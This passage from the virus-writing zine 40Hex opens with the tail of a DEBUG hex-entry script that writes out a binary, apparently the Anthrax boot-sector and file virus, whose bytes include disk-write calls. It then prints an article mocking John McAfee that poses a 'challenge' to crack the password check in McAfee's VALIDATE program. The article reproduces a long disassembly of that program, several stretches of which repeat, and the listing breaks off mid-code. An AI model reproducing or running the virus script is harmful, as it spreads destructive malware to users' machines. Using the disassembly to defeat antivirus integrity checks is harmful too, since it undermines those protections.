- e 0240 07 80 00 0E 07 B7 12 E8 F2 00 58 5B 59 5A 5E 5F
- e 0250 1F 07 2E FF 2E 06 06 C3 91 AE B4 A8 BF 20 31 39
- e 0260 39 30 B8 00 3D CD 21 72 EE 93 B8 20 12 CD 2F 53
- e 0270 26 8A 1D B8 16 12 CD 2F 5B BE 62 04 8B D6 B1 18
- e 0280 B4 3F CD 21 33 C1 75 70 06 1F C6 45 02 02 33 D2
- e 0290 EC 3C 10 72 FB 03 45 11 13 55 13 24 F0 3D 00 FB
- e 02A0 73 56 89 45 15 89 55 17 0E 1F 50 B1 10 F7 F1 2B
- e 02B0 44 08 8B C8 2B 44 16 A3 04 00 AD 35 4D 5A 74 03
- e 02C0 35 17 17 9C 75 17 89 04 3B 44 0A 87 44 12 A3 07
- e 02D0 00 89 4C 14 B9 DC 04 74 07 83 44 08 48 B9 65 00
- e 02E0 51 B9 9B 03 B4 40 CD 21 33 C8 59 75 09 BA 00 04
- e 02F0 B4 40 CD 21 33 C8 5A 58 75 38 26 89 4D 15 26 89
- e 0300 4D 17 52 9D 75 18 26 8B 45 11 26 8B 55 13 B5 02
- e 0310 F7 F1 85 D2 74 01 40 89 14 89 44 02 EB 0A C6 44
- e 0320 FE E9 05 28 03 89 44 FF B9 18 00 8D 54 FE B4 40
- e 0330 CD 21 26 80 4D 06 40 B4 3E CD 21 C3 8E D9 8A 1E
- e 0340 6C 04 0E 1F FF 06 5E 04 BA 4B 06 E8 1F 00 BE 0A
- e 0350 06 C6 04 5C 46 32 D2 B4 47 CD 21 BA 9B 03 B4 3B
- e 0360 CD 21 E3 0D B4 51 CD 21 8E DB BA 80 00 B4 1A EB
- e 0370 C8 72 3E BE 9C 03 32 D2 B4 47 CD 21 3A 2E DC 03
- e 0380 B1 32 BA 9D 02 B4 4E 74 5C CD 21 72 24 BA 4B 06
- e 0390 B8 01 4F BE DC 03 BF 68 06 AA B1 0D F3 A6 74 45
- e 03A0 3A 6D FE 74 40 CD 21 73 E4 32 C0 EB D3 2A 2E 2A
- e 03B0 00 B1 41 BF 9C 03 3A 2D 8A C5 A2 DC 03 74 69 F2
- e 03C0 AE 4F B1 41 B0 5C FD F2 AE 8D 75 02 BF DC 03 FC
- e 03D0 AC 84 C0 AA 75 FA BA CD 02 32 C9 EB 81 2E 2E 00
- e 03E0 BA 4B 06 B4 4F CD 21 72 C8 BE 69 06 BF DC 03 80
- e 03F0 3C 2E 74 EC 88 2D 8B D6 F6 44 F7 10 75 DB AC 84
- e 0400 C0 AA 75 FA 4E FD AD AD FC 3D 58 45 74 05 3D 4F
- e 0410 4D 75 CD 53 E8 4B FE 5B 33 C9 8E C1 26 A0 6C 04
- e 0420 0E 07 2A C3 3A C7 72 B8 BA 80 00 B1 03 BB 00 02
- e 0430 B8 01 03 CD 13 BA 0A 06 E9 23 FF 95 BF 00 01 8B
- e 0440 5D 01 81 EB 28 02 8B C7 8D B7 FD 03 A5 A4 93 B1
- e 0450 04 D3 E8 8C D9 03 C1 BA 0B 00 EB 71 B8 D0 00 FC
- e 0460 87 85 68 FA AB 8C C8 E2 F7 A3 86 00 AB 8E D8 B4
- e 0470 08 CD 13 49 49 A1 E9 03 84 E4 74 01 91 B2 80 B8
- e 0480 03 03 CD 13 91 84 E4 75 02 2C 40 FE CC A3 E9 03
- e 0490 FF 06 60 04 32 F6 B9 01 00 BB 00 04 B8 01 03 CD
- e 04A0 13 8A D6 CB 41 4E 54 48 52 41 58 0E 1F 83 2E 13
- e 04B0 04 02 CD 12 B1 06 D3 E0 8E C0 BF 00 04 BE 00 7C
- e 04C0 B9 00 01 8B DE FC F3 A5 8E D8 BA 27 04 51 53 50
- e 04D0 52 CB 8E C1 B1 04 BE B0 05 83 C6 0E AD 3C 80 74
- e 04E0 04 E2 F6 CD 18 92 FD AD 91 B8 01 02 CD 13 81 3E
- e 04F0 FE 05 55 AA 75 ED 06 1E 07 1F 32 F6 B9 02 00 33
- e 0500 DB B8 02 02 CD 13 E9 EE FE 00 00 00 00 CD 20 CC
- e 0510 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0520 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0530 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0540 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0550 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0560 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
- e 0570 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
-
- rcx
- 480
- w
- q
-
- -------------------------------------------------------------------------------
- HR
-
-
- 40Hex Issue 3 0004
-
- The Strange Case of Validate
-
- - Fall to your knees, begging your way out of this disease.
-
- Well we all know what a dick John Mcafee is. Well with his product
- SCAN comes a program VALIDATE. I noticed when I took a close look
- at the internal workings of this program (while working on a little
- revenge project) that there is text in the program. The strings
- read
-
- "Enter password now"
- "Access denied"
-
- Well this got me going, what is this??? Well this brings up our
- first 40Hex challenge. I am including a dissassembly of validate.
- Here it is:
-
- -------------------------------------------------------------------------------
-
- data_1e equ 100h
- data_2e equ 102h
- data_3e equ 2Ch
- data_4e equ 14h
- data_5e equ 16h
- data_6e equ 18h
- data_7e equ 1Ah
- data_8e equ 47h
- data_9e equ 49h
- data_10e equ 4Ah
- data_11e equ 59h
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- validate proc far
-
- start:
- jmp loc_96
- db 0Dh, ' ', 0Dh, 0Ah, 'VALIDATE 0'
- db '.3 '
- copyright db 'Copyright 1988-89 by McAfee Asso'
- db 'ciates.'
- db ' (408) 988-3832', 0Dh, 0Ah, 0Dh
- db 0Ah, 'Written by Dennis Yelle', 0Dh
- db 0Ah, 0Dh, 0Ah
- db 1Ah
- data_19 db 30h dexed access)
- db '123456789ABCDEF'
- db 10h, 0Fh, 0Dh, 8, 6, 3
- db 1, 0, 0C8h, 10h, 0Ch, 5
- db 0, 0C8h, 10h, 0Fh, 2, 0
- db 0C8h, 10h, 0Fh, 0Eh, 7, 6
- db 0, 0C8h, 10h, 0Fh, 0Dh, 0
- db 0C8h
- loc_1:
- mov al,1
- mov ah,4Ch
- int 21h
- db 0CDh, 20h
- loc_2:
- jmp short loc_2
-
- validate endp
-
- sub_1 proc near
- mov dx,si
- loc_3:
- lodsb
- cmp al,1
- ja loc_3
- pushf
- mov cx,si
- sub cx,dx
- dec cx
- mov ah,40h
- mov bx,1
- int 21h
- popf
- jz loc_1
- retn
- sub_1 endp
-
- sub_2 proc near
- mov bp,sp
- xchg si,[bp]
- call sub_1
- xchg si,[bp]
- retn
- sub_2 endp
-
- db 0B4h, 40h, 0BBh, 2, 0, 0B9h
- db 48h, 0, 0BAh, 9, 1, 0CDh
- db 21h, 0A1h, 2, 0, 8Ch, 0CBh
- db 29h, 0D8h, 3Dh, 0, 10h, 77h
- db 52h, 0E8h, 0D8h, 0FFh
- db 0Dh, 0Ah, ' Sorry, there is not e'
- db 'nough memory available.', 0Dh, 0Ah
- db ' I need 66000 bytes of RAM.', 0Dh
- db 0Ah
- db 1, 0BEh, 80h, 0, 0ACh, 0Ah
- db 0C0h
- db 74h, 9
- loc_4:
- lodsb
- cmp al,20h
- je loc_4
- cmp al,0Dh
- jne loc_6
- loc_5:
- jmp loc_10
- loc_6:
- dec si
- mov data_33,si
- push si
- mov si,197h
- call sub_9
- mov di,666h
- call sub_10
- mov si,186h
- call sub_9
- mov di,866h
- call sub_10
- call sub_2
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- inc si
- db 'ile Name: '
- db 0, 5Eh
- loc_7:
- lodsb
- cmp al,20h
- jg loc_7
- push ax
- xor al,al
- mov [si-1],al
- mov bx,1
- mov cx,si
- dec cx
- mov dx,data_33
- sub cx,dx
- mov ah,40h
- int 21h
- push si
- call sub_8
- mov dx,data_33
- mov ax,3D00h
- int 21h
- jc loc_11
- mov data_32,ax
- ;* call sub_3
- db 0E8h, 0B8h, 0
- mov ah,3Eh
- mov bx,data_32
- int 21h
- pop si
- pop ax
- cmp al,0Dh
- je loc_9
- loc_8:
- lodsb
- cmp al,20h
- je loc_8
- cmp al,0Dh
- je loc_9
- call sub_8
- jmp loc_6
- loc_9:
- mov ax,4C00h
- int 21h
- loc_10:
- mov dx,2E6h
- mov cx,84h
- jmp loc_17
- loc_11:
- mov dx,5FBh
- mov cx,29h
- jmp loc_17
- db 'This program prints the validati'
- db 'on information for a file.', 0Dh
- db 0Ah, 'Examples:', 0Dh, 0Ah, ' '
- db ' VALIDATE SCAN.EXE', 0Dh, 0Ah
- db ' VALIDATE SCANRES.EXE', 0Dh
- db 0Ah
-
- sub_3 proc near
- xor ax,ax
- mov data_34,ax
- mov data_35,ax
- loc_12:
- mov bx,data_32
- mov dx,0A66h
- mov cx,8000h
- mov ah,3Fh
- int 21h
- jnc loc_13
- jmp loc_16
- loc_13:
- or ax,ax
- jz loc_14
- mov dx,ax
- push dx
- mov si,0A66h
- mov di,666h
- mov cx,data_34
- call sub_11
- mov data_34,cx
- pop dx
- mov si,0A66h
- mov di,866h
- mov cx,data_35
- call sub_11
- mov data_35,cx
- jmp short loc_12
- loc_14:
- call sub_2
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bx+si],ah
- and [bp+di+69h],dl
- jp $+67h
- cmp ah,[bx+si]
- and [bx+si],al
- mov ax,4202h
- mov bx,data_32
- xor cx,cx
- xor dx,dx
- int 21h
- jnc $+0Fh
- call sub_2
- jnz $+70h
- db 6Bh, 6Eh, 6Fh, 77h, 6Eh, 0
- db 0EBh, 3, 0E8h, 59h, 1, 0E8h
- db 0D1h, 0FDh
- db 0Dh, 0Ah, ' Date: '
- db 0, 0B8h, 0, 57h, 8Bh, 1Eh
- db 4Eh, 6, 0CDh, 21h, 73h, 8
- db 0BEh, 0DDh, 3, 0E8h, 8Fh, 0FDh
- db 0EBh, 26h, 52h, 8Bh, 0C2h, 0B1h
- db 5, 0D3h, 0E8h, 25h, 0Fh, 0
- db 0E8h, 70h, 1, 0E8h, 98h, 0
- db 58h, 50h, 25h, 1Fh, 0, 0E8h
- db 65h, 1, 0E8h, 8Dh, 0, 58h
- db 0B1h, 9, 0D3h, 0E8h, 5, 0BCh
- db 7, 0E8h, 57h, 1, 0E8h, 7Ch
- db 0FDh
- db 0Dh, 0Ah, 'File Authentication:', 0Dh
- db 0Ah, ' Check Method 1 - '
- db 0, 8Bh, 0Eh, 52h, 6, 0E8h
- db 27h, 0, 0E8h, 43h, 0FDh
- db 0Dh, 0Ah, ' Check Method 2 - '
- db 0, 8Bh, 0Eh, 54h, 6, 0E8h
- db 4, 0, 0E8h, 27h, 0, 0C3h
- db 51h, 89h, 0C8h, 88h, 0E0h, 0E8h
- db 1, 0
- db 58h
-
-
- sub_4:
- mov bx,ax
- mov cl,4
- shr bx,cl
- call sub_5
- mov bx,ax
-
-
- sub_5:
- and bx,0Fh
- mov dl,data_19[bx]
-
-
- sub_6:
- loc_15:
- push ax
- mov ah,2
- int 21h
- pop ax
- retn
-
-
- sub_7:
- mov dl,2Dh
- jmp short loc_15
-
-
- sub_8:
- mov dl,0Dh
- call sub_6
- mov dl,0Ah
- jmp short loc_15
- loc_16:
- mov dx,624h
- mov cx,29h
- loc_17:
- mov bx,2
- push ax
- mov ah,40h
- int 21h
- jc loc_18
- pop ax
- loc_18:
- mov ah,4Ch
- int 21h
- sub_3 endp
-
-
-
- sub_9 proc near
- xor bx,bx
- xor cx,cx
- inc si
- lodsb
- loc_19:
- mov cl,al
- mov ax,1
- shl ax,cl
- or bx,ax
- lodsb
- cmp al,0C8h
- jb loc_19
- mov cl,8
- mov di,656h
- mov ax,bx
- loc_20:
- stosw
- shr ax,1
- jnc loc_21
- xor ax,bx
- loc_21:
- dec cl
- jnz loc_20
- retn
- sub_9 endp
-
-
- sub_10 proc near
- mov si,656h
- xor dx,dx
- loc_22:
- mov cx,dx
- mov bx,si
- xor ax,ax
- loc_23:
- shl cl,1
- jnc loc_24
- xor ax,[bx]
- loc_24:
- add bx,2
- or cl,cl
- jnz loc_23
- stosw
- inc dl
- jnz loc_22
- retn
- sub_10 endp
-
- sub_11 proc near
- loc_25:
- lodsb
- mov bl,cl
- xor bl,al
- xor bh,bh
- mov cl,ch
- mov ch,0
- add bx,bx
- xor cx,[bx+di]
- dec dx
- jnz loc_25
- retn
- sub_11 endp
-
- data_27 dw 4240h
- data_28 dw 0Fh
- data_29 dw 3E8h
- data_30 dw 0Ah
-
-
- sub_12 proc near
- cmp dx,data_28
- jb loc_32
- ja loc_26
- cmp ax,data_27
- jb loc_32
- loc_26:
- mov bx,data_27
- mov cx,data_28
- xor si,si
- loc_27:
- inc si
- shl bx,1
- rcl cx,1
- jno loc_27
- xor di,di
- loc_28:
- shl di,1
- cmp dx,cx
- jb loc_30
- ja loc_29
- cmp ax,bx
- jb loc_30
- loc_29:
- sub ax,bx
- sbb dx,cx
- inc di
- loc_30:
- shr cx,1
- rcr bx,1
- dec si
- jge loc_28
- push dx
- push ax
- mov ax,di
- xor dx,dx
- call sub_14
- mov al,2Ch
- call sub_19
- pop ax
- pop dx
- div data_29
- push dx
- call sub_15
- jmp short loc_33
-
-
- sub_13:
- xor dx,dx
- cmp ax,2710h
- jae loc_32
- cmp ax,3E8h
- jb loc_32
- div data_29
- or ax,ax
- push dx
- jz loc_31
- call sub_16
- loc_31:
- pop ax
- jmp short loc_34
-
-
- sub_14:
- loc_32:
- div data_29
- push dx
- or ax,ax
- jz loc_31
- call sub_16
- loc_33:
- mov al,2Ch
- call sub_19
- pop ax
-
-
- sub_15:
- xor dx,dx
- div data_30
- jmp loc_35
- db 88h, 0E0h, 32h, 0E4h
-
-
- sub_16:
- loc_34:
- cmp ax,0Ah
- jb loc_37
- xor dx,dx
- div data_30
- cmp al,0Ah
- jb loc_36
- loc_35:
- push dx
- xor dx,dx
- div data_30
- call sub_17
- pop ax
- jmp loc_37
-
-
- sub_17:
- loc_36:
- push dx
- call sub_18
- pop ax
-
-
- sub_18:
- loc_37:
- add al,30h
-
-
- sub_19:
- mov ah,2
- mov dl,al
- int 21h
- retn
- sub_12 endp
-
- db 0Dh, 0Ah, ' Sorry, I cannot open '
- db 'the input file.', 0Dh, 0Ah, 0Dh, 0Ah
- db ' Sorry, I cannot read the input '
- db 'file.', 0Dh, 0Ah
- db 90h
- data_32 dw 0
- data_33 dw 0
- data_34 dw 0
- data_35 dw 0
- db 0ACh, 29h, 0ADh, 29h, 0AEh, 29h
- db 0AFh, 29h, 0B0h, 29h, 0E9h, 70h
- db 2, 0E9h, 49h, 2
- db 14 dup (0)
- db 0E9h, 0C7h, 0, 0Dh, 0, 0
- db 0
- db 44h, 29h
- db 42 dup (0)
- db 0CCh, 7, 6, 7
- db 13 dup (0)
- db 3, 2, 0CFh, 0C8h, 0Dh, 0C9h
- db 0Dh
- db 79 dup (0)
- db 0Dh, 0Ah, 'Please enter the passw'
- db 'ord now: '
- db 0
- db 0Dh, 0Ah, 'This program requires '
- db 'DOS 3.00 or greater'
- db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah
- db 2Eh, 2Ah, 0
- db 0Dh, 0Ah, '%%211#---4677^^^%'
- db 7, 0Dh, 0Ah, 0, 42h, 23h
- db 0
- db 305 dup (0)
- db 50h, 53h, 0A1h, 1, 1, 5
- db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h
- db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
- db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
- db 6Bh, 2, 50h, 0CBh, 5Bh, 58h
- db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh
- db 2Eh, 8Ch, 6, 1Bh, 1, 2Eh
- db 0A3h, 1Dh, 1, 2Eh, 89h, 26h
- db 1Fh, 1, 2Eh, 8Ch, 16h, 21h
- db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
- db 4Fh, 2, 2Eh, 0A1h, 1Dh, 1
- db 50h, 53h, 51h, 52h, 56h, 57h
- db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
- db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
- db 3Ch, 50h, 75h, 6, 0E8h, 6Ah
- db 0, 0EBh, 15h, 90h, 3Ch, 44h
- db 75h, 6, 0E8h, 78h, 0, 0EBh
- db 0Bh, 90h
- loc_38:
- cmp al,4Ch
- jne loc_39
- call sub_21
- jmp short loc_40
- loc_39:
- stc
- loc_40:
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- cmp byte ptr cs:data_7e,0
- je loc_41
- mov ax,cs:data_4e
- mov ds:data_1e,ax
- mov ax,cs:data_5e
- mov ds:data_2e,ax
- mov ax,100h
- mov cs:data_4e,ax
- mov cs:data_5e,ds
- jmp short loc_42
- loc_41:
- mov ax,cs
- sub ax,cs:data_6e
- add cs:data_5e,ax
- loc_42:
- pop ax
- mov ss,word ptr cs:[121h]
- mov sp,word ptr cs:[11Fh]
- jmp dword ptr cs:data_4e
- db 0BAh, 4, 1, 0E8h, 0BCh, 0
- db 0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh
- db 0AEh, 0, 0E8h, 0B1h, 0, 0C6h
- db 6, 58h, 0, 29h, 0BAh, 58h
- db 0, 0E8h, 74h, 0, 0E8h, 0BDh
- db 0, 0E8h, 87h, 0, 0C3h
-
-
- sub_20 proc near
- mov ah,2Ah
- int 21h
- cmp cx,ds:data_8e
- jb loc_44
- cmp dh,ds:data_9e
- jb loc_44
- cmp dl,ds:data_10e
- jb loc_44
- jmp short loc_44
- db 90h, 0B4h, 30h, 0CDh, 21h, 3Ch
- db 3, 73h, 4, 0F8h, 0EBh, 25h
- db 90h, 1Eh, 6, 32h, 0C0h, 0B9h
- db 0, 80h, 2Eh, 8Eh, 6, 1Bh
- db 1, 26h, 8Eh, 6, 2Ch, 0
- db 33h, 0FFh
- loc_43:
- repne scasb
- scasb
- jnz loc_43
- add di,2
- push es
- pop ds
- mov dx,di
- mov ah,41h
- clc
- pop es
- pop ds
- loc_44:
- cmc
- retn
- sub_20 endp
-
-
- sub_21 proc near
- mov ah,1Ah
- mov dx,83h
- int 21h
- mov ah,4Eh
- mov cx,8
- mov dx,0FFh
- int 21h
- mov si,0A1h
- mov di,4Bh
- cld
- loc_45:
- lodsb
- scasb
- stc
- jnz loc_ret_46
- or al,al
- jnz loc_45
-
- loc_ret_46:
- retn
- sub_21 endp
-
-
-
- sub_22 proc near
- push ax
- push bx
- push cx
- mov ah,0Ah
- int 21h
- mov bx,dx
- inc bx
- mov cl,[bx]
- xor ch,ch
- jcxz loc_48
-
- locloop_47:
- inc bx
- not byte ptr [bx]
- loop locloop_47
-
- loc_48:
- pop cx
- pop bx
- pop ax
- retn
- sub_22 endp
-
-
-
- sub_23 proc near
- push cx
- push si
- push di
- mov cl,ds:data_11e
- xor ch,ch
- mov si,59h
- mov di,1Dh
- cld
- repe cmpsb
- jz loc_49
- stc
- loc_49:
- pop di
- pop si
- pop cx
- retn
- sub_23 endp
-
-
-
- sub_24 proc near
- push bx
- push dx
- mov bx,dx
- loc_50:
- mov dl,[bx]
- or dl,dl
- jz loc_51
- call sub_25
- inc bx
- jmp short loc_50
- loc_51:
- pop dx
- pop bx
- retn
- sub_24 endp
-
-
-
- sub_25 proc near
- push ax
- mov ah,2
- int 21h
- pop ax
- retn
- sub_25 endp
-
-
-
- sub_26 proc near
- push dx
- mov dl,0Dh
- call sub_25
- mov dl,0Ah
- call sub_25
- pop dx
- retn
- sub_26 endp
-
- db 0, 0, 0, 0, 0ACh, 29h
- db 0ADh, 29h, 0AEh, 29h, 0AFh, 29h
- db 0B0h, 29h, 0E9h, 70h, 2, 0E9h
- db 49h, 2
- db 14 dup (0)
- db 0E9h, 60h, 5, 0Dh, 0, 0
- db 0
- db 44h, 29h
- db 42 dup (0)
- db 0EAh, 7, 0Ch, 1Fh, 0
- db 12 dup (0)
- db 3, 2, 0CCh, 0CEh, 0Dh, 0C9h
- db 0Dh
- db 79 dup (0)
- db 0Dh, 0Ah, 'Please enter the passw'
- db 'ord now: '
- db 0
- db 0Dh, 0Ah, 'This program requires '
- db 'DOS 3.00 or greater'
- db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah
- db 2Eh, 2Ah, 0
- db 0Dh, 0Ah, '%%211#---4677^^^%'
- db 7, 0Dh, 0Ah, 0, 42h, 23h
- db 0
- db 305 dup (0)
- db 50h, 53h, 0A1h, 1, 1, 5
- db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h
- db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
- db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
- db 6Bh, 2, 50h, 0CBh, 5Bh, 58h
- db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh
- db 2Eh, 8Ch, 6, 1Bh, 1, 2Eh
- db 0A3h, 1Dh, 1, 2Eh, 89h, 26h
- db 1Fh, 1, 2Eh, 8Ch, 16h, 21h
- db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
- db 4Fh, 2, 2Eh, 0A1h, 1Dh, 1
- db 50h, 53h, 51h, 52h, 56h, 57h
- db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
- db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
- db 3Ch, 50h, 75h, 6, 0E8h, 6Ah
- db 0, 0EBh, 15h, 90h, 3Ch, 44h
- db 75h, 6, 0E8h, 78h, 0, 0EBh
- db 0Bh, 90h
- loc_52:
- cmp al,4Ch
- jne loc_53
- call sub_28
- jmp short loc_54
- loc_53:
- stc
- loc_54:
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- cmp byte ptr cs:data_7e,0
- je loc_55
- mov ax,cs:data_4e
- mov ds:data_1e,ax
- mov ax,cs:data_5e
- mov ds:data_2e,ax
- mov ax,100h
- mov cs:data_4e,ax
- mov cs:data_5e,ds
- jmp short loc_56
- loc_55:
- mov ax,cs
- sub ax,cs:data_6e
- add cs:data_5e,ax
- loc_56:
- pop ax
- mov ss,word ptr cs:[121h]
- mov sp,word ptr cs:[11Fh]
- jmp dword ptr cs:data_4e
- db 0BAh, 4, 1, 0E8h, 0BCh, 0
- db 0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh
- db 0AEh, 0, 0E8h, 0B1h, 0, 0C6h
- db 6, 58h, 0, 29h, 0BAh, 58h
- db 0, 0E8h, 74h, 0, 0E8h, 0BDh
- db 0, 0E8h, 87h, 0, 0C3h
-
-
- sub_27 proc near
- mov ah,2Ah
- int 21h
- cmp cx,ds:data_8e
- jb loc_58
- cmp dh,ds:data_9e
- jb loc_58
- cmp dl,ds:data_10e
- jb loc_58
- jmp short loc_58
- db 90h, 0B4h, 30h, 0CDh, 21h, 3Ch
- db 3, 73h, 4, 0F8h, 0EBh, 25h
- db 90h, 1Eh, 6, 32h, 0C0h, 0B9h
- db 0, 80h, 2Eh, 8Eh, 6, 1Bh
- db 1, 26h, 8Eh, 6, 2Ch, 0
- db 33h, 0FFh
- loc_57:
- repne scasb
- scasb
- jnz loc_57
- add di,2
- push es
- pop ds
- mov dx,di
- mov ah,41h
- clc
- pop es
- pop ds
- loc_58:
- cmc
- retn
- sub_27 endp
-
-
-
- sub_28 proc near
- mov ah,1Ah
- mov dx,83h
- int 21h
- mov ah,4Eh
- mov cx,8
- mov dx,0FFh
- int 21h
- mov si,0A1h
- mov di,4Bh
- cld
- loc_59:
- lodsb
- scasb
- stc
- jnz loc_ret_60
- or al,al
- jnz loc_59
-
- loc_ret_60:
- retn
- sub_28 endp
-
-
-
- sub_29 proc near
- push ax
- push bx
- push cx
- mov ah,0Ah
- int 21h
- mov bx,dx
- inc bx
- mov cl,[bx]
- xor ch,ch
- jcxz loc_62
-
- locloop_61:
- inc bx
- not byte ptr [bx]
- loop locloop_61
-
- loc_62:
- pop cx
- pop bx
- pop ax
- retn
- sub_29 endp
-
-
-
- sub_30 proc near
- push cx
- push si
- push di
- mov cl,ds:data_11e
- xor ch,ch
- mov si,59h
- mov di,1Dh
- cld
- repe cmpsb
- jz loc_63
- stc
- loc_63:
- pop di
- pop si
- pop cx
- retn
- sub_30 endp
-
-
-
- sub_31 proc near
- push bx
- push dx
- mov bx,dx
- loc_64:
- mov dl,[bx]
- or dl,dl
- jz loc_65
- call sub_32
- inc bx
- jmp short loc_64
- loc_65:
- pop dx
- pop bx
- retn
- sub_31 endp
-
-
-
- sub_32 proc near
- push ax
- mov ah,2
- int 21h
- pop ax
- retn
- sub_32 endp
-
-
- sub_33 proc near
- push dx
- mov dl,0Dh
- call sub_32
- mov dl,0Ah
- call sub_32
- pop dx
- retn
- sub_33 endp
-
- db 0, 0, 0, 0, 0ACh, 29h
- db 0ADh, 29h, 0AEh, 29h, 0AFh, 29h
- db 0B0h, 29h, 0E9h, 70h, 2, 0E9h
- db 49h, 2
- db 14 dup (0)
- db 0E9h, 60h, 9, 0Dh, 0, 0
- db 0
- db 44h, 29h
- db 42 dup (0)
- db 0C2h, 7, 9, 0Bh, 0
- db 12 dup (0)
- db 3, 2, 0CEh, 0CEh, 0Dh, 0C9h
- db 0Dh
- db 79 dup (0)
- db 0Dh, 0Ah, 'Please enter the passw'
- db 'ord now: '
- db 0
- db 0Dh, 0Ah, 'This program requires '
- db 'DOS 3.00 or greater'
- db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah
- db 2Eh, 2Ah, 0
- db 0Dh, 0Ah, '%%211#---4677^^^%'
- db 7, 0Dh, 0Ah, 0, 42h, 23h
- db 0
- db 305 dup (0)
- db 50h, 53h, 0A1h, 1, 1, 5
- db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h
- db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
- db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
- db 6Bh, 2, 50h, 0CBh, 5Bh, 58h
- db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh
- db 2Eh, 8Ch, 6, 1Bh, 1, 2Eh
- db 0A3h, 1Dh, 1, 2Eh, 89h, 26h
- db 1Fh, 1, 2Eh, 8Ch, 16h, 21h
- db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
- db 4Fh, 2, 2Eh, 0A1h, 1Dh, 1
- db 50h, 53h, 51h, 52h, 56h, 57h
- db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
- db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
- db 3Ch, 50h, 75h, 6, 0E8h, 6Ah
- db 0, 0EBh, 15h, 90h, 3Ch, 44h
- db 75h, 6, 0E8h, 78h, 0, 0EBh
- db 0Bh, 90h
- loc_66:
- cmp al,4Ch
- jne loc_67
- call sub_35
- jmp short loc_68
- loc_67:
- stc
- loc_68:
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- cmp byte ptr cs:data_7e,0
- je loc_69
- mov ax,cs:data_4e
- mov ds:data_1e,ax
- mov ax,cs:data_5e
- mov ds:data_2e,ax
- mov ax,100h
- mov cs:data_4e,ax
- mov cs:data_5e,ds
- jmp short loc_70
- loc_69:
- mov ax,cs
- sub ax,cs:data_6e
- add cs:data_5e,ax
- loc_70:
- pop ax
- mov ss,word ptr cs:[121h]
- mov sp,word ptr cs:[11Fh]
- jmp dword ptr cs:data_4e
- db 0BAh, 4, 1, 0E8h, 0BCh, 0
- db 0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh
- db 0AEh, 0, 0E8h, 0B1h, 0, 0C6h
- db 6, 58h, 0, 29h, 0BAh, 58h
- db 0, 0E8h, 74h, 0, 0E8h, 0BDh
- db 0, 0E8h, 87h, 0, 0C3h
-
- sub_34 proc near
- mov ah,2Ah
- int 21h
- cmp cx,ds:data_8e
- jb loc_72
- cmp dh,ds:data_9e
- jb loc_72
- cmp dl,ds:data_10e
- jb loc_72
- jmp short loc_72
- db 90h, 0B4h, 30h, 0CDh, 21h, 3Ch
- db 3, 73h, 4, 0F8h, 0EBh, 25h
- db 90h, 1Eh, 6, 32h, 0C0h, 0B9h
- db 0, 80h, 2Eh, 8Eh, 6, 1Bh
- db 1, 26h, 8Eh, 6, 2Ch, 0
- db 33h, 0FFh
- loc_71:
- repne scasb
- scasb
- jnz loc_71
- add di,2
- push es
- pop ds
- mov dx,di
- mov ah,41h
- clc
- pop es
- pop ds
- loc_72:
- cmc
- retn
- sub_34 endp
-
- sub_35 proc near
- mov ah,1Ah
- mov dx,83h
- int 21h
- mov ah,4Eh
- mov cx,8
- mov dx,0FFh
- int 21h
- mov si,0A1h
- mov di,4Bh
- cld
- loc_73:
- lodsb
- scasb
- stc
- jnz loc_ret_74
- or al,al
- jnz loc_73
-
- loc_ret_74:
- retn
- sub_35 endp
-
-
- sub_36 proc near
- push ax
- push bx
- push cx
- mov ah,0Ah
- int 21h
- mov bx,dx
- inc bx
- mov cl,[bx]
- xor ch,ch
- jcxz loc_76
-
- locloop_75:
- inc bx
- not byte ptr [bx]
- loop locloop_75
-
- loc_76:
- pop cx
- pop bx
- pop ax
- retn
- sub_36 endp
-
-
- sub_37 proc near
- push cx
- push si
- push di
- mov cl,ds:data_11e
- xor ch,ch
- mov si,59h
- mov di,1Dh
